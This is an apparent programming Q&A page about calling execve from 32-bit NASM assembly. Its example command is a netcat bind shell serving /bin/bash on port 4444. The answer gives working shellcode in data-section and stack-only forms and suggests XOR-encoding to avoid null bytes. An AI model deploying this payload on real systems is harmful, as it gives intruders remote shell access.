Search code examples
linuxassemblynasmshellcodeexecve

What is proper way to call execve with arguments in assembly?


I am trying to execute the following with execve: /bin//nc -lnke /bin/bash -p 4444

When reading the man page for execve, I see the following requirements:

int execve(const char *filename, char *const argv[],
                  char *const envp[]);

The issue I am running into is pushing arguments to argv; I do not understand how you push an array (in assembly) for this to work properly.

The assembly that I am currently using is below:

global _start

_start:
    xor eax, eax

    ; command
    push eax
    push 0x636e2f2f
    push 0x6e69622f
    mov ebx, esp

    ; args
    push eax
    push 0x34343434
    push 0x20702d20
    push 0x68736162
    push 0x2f6e6962
    push 0x2f20656b
    push 0x6e6c2d20
    mov ecx, esp

    ; null, arg 1
    push eax
    mov edx, esp

    ; push to stack
    push edx
    push ecx
    push ebx

    ; command
    mov al, 11
    int 0x80

It results in the following being passed to execve:

$ strace -f -e execve -s 10000 ./bind 
execve("/bin//nc", [0x6e6c2d20, 0x2f20656b, 0x2f6e6962, 0x68736162, 0x20702d20, 0x34343434], 0xffd4c0d4 /* 0 vars */) = -1 EFAULT (Bad address)

How do I pass these arguments properly using assembly?

I am using Linux with nasm


Solution

  • In C, arrays are implicitly converted to pointers to their first elements. So in your case, you need to pass a pointer to an array of pointers to strings. Each array is terminated with a null pointer. Each string is terminated with a NUL byte. The arguments to system calls are passed in ebx, ecx, edx, etc. with the system call number being in eax. Like this:

            section .data
            ; strings
    arg0    db "/bin//nc",0
    arg1    db "-lnke",0
    arg2    db "/bin/bash",0
    arg3    db "-p",0
    arg4    db "4444",0
    
            ; arrays
            align 4
    argv    dd arg0, arg1, arg2, arg3, arg4, 0
    envp    dd 0
    
            section .text
            global _start
    _start: mov eax, 11   ; SYS_execve
            mov ebx, arg0 ; filanem
            mov ecx, argv ; argv
            mov edx, envp ; envp
            int 0x80      ; syscall
    

    I'm not sure which operating system you are programming for. This example assumes Linux.

    If you cannot use the data segment for some reason, proceed like this:

            ; for easier addressing
            mov ebp, esp
    
            ; push strings
    
            xor eax, eax
            push eax          ; - 4    
            push "4444"       ; - 8
            push "\0-p\0"     ; -12
            push "bash"       ; -16
            push "bin/"       ; -20
            push "ke\0/"      ; -24
            push "\0-ln"      ; -28
            push "//nc"       ; -32
            push "/bin"       ; -36
    
            ; push argv, right to left
            xor eax, eax
            push eax          ; NULL
            lea ebx, [ebp-8]
            push ebx          ; "4444\0"
            lea ebx, [ebp-11]
            push ebx          ; "-p\0"
            lea ebx, [ebp-21]
            push ebx          ; "/bin/bash\0"
            lea ebx, [ebp-27]
            push ebx          ; "-lnke\0"
            lea ebx, [ebp-36] ; filename
            push ebx          ; "/bin//nc\0"
            mov ecx, esp      ; argv
            lea edx, [ebp-4]  ; envp (NULL)
    
            mov al, 11        ; SYS_execve
            int 0x80
    

    In case you can't have null bytes in your data for whatever reason you need to do some cloaking beforehand. For example, you could push each byte xor'ed with 0x80 and xor the data on the stack with 0x80 again afterwards.